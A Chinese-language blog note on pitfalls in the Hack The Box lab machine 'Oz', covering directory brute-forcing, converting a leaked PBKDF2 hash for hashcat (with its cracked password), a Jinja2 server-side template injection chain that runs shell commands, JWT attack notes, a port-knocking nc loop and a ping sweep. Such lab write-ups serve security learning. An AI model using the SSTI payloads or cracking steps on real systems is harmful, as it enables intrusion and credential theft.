OZ的详细攻略网上已经放出了:https://0xdf.gitlab.io/2019/01/12/htb-oz.htm
这里只对踩过的坑进行记录。
1.目录爆破wfuzz看起来是最好的工具,但你必须熟练掌握过滤器的用法。
2.注入成功后的密码格式转换![](https://img.haomeiwen.com/i14978536/3358f839c15805fd.png)
一顿google后你会发现这种格式和Django所使用的密码格式非常相似,都是 "密码算法+加密轮数+盐+哈希" 的格式,但是你把hash仍给hashcat破译会发现格式无法识别,Django使用的密码,盐和哈希都是经过base64编码的,而这个串base64并不能解码,还需要进一步转换。正确的解码姿势如下
from passlib.utils import ab64_decode
import binascii
base64.b64encode( ab64_decode('qUh6jZRy02ZrHTz5J6O3sy38Sa1ORoZnVjLz5juo.2E') )
这是一种特殊的ab64的base64编码方案,它比普通的base64编码更短一些。同时还需要对这个密码格式进行一些转换
echo '$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ' | gawk '{sub(/^.*-/,"")}$1=$1' FS=\$ OFS=:
输出格式为:sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg==:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY=这个格式的hash可以被hashcat识别format=10900,明文wizardofoz22
3.利用密码可以登录8080端口的应用,这里有个新的知识叫SSTI攻击,也就是服务端模板注入,参考资料可以参见:https://www.cnblogs.com/tyomcat/p/5440488.html,同时网上发布了自动化攻击工具类似sqlmap,叫做Tplmap,项目地址:https://github.com/epinna/tplmap,手动攻击的步骤如下:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
4.在进行SSTI之前,还进行了JWT攻击尝试,可惜这是个陷阱,并没有脆弱性可以利用,但学到了不少JWT的攻击方法。首先是JWT的格式,这是一套cookie设置方案,返回的串共有三段由点号分隔,并经过base64编码,前一段写明了加密方式,中间是用户名等一些辅助信息,最后一段是数字签名,示例数据格式如下:
![](https://img.haomeiwen.com/i14978536/321e61622d8a8013.png)
![](https://img.haomeiwen.com/i14978536/81552c6b1c41545a.png)
5.端口敲门,这是一个老问题了,发现一个脚本好用记录一下。
ports="40809 50212 46969"; for port in $ports; do echo "a" | nc -u -w 1 10.10.10.96 ${port}; sleep 0.5; done; echo "knock done"; nc -w 1 -nvv 10.10.10.96 22
6.简单的ping扫描,以后不用到处去找了。
$ for i in $(seq 1 254); do ping -c 1 10.100.10.${i} | grep "bytes from"; done;
最后需要恶补的就是docker知识。
网友评论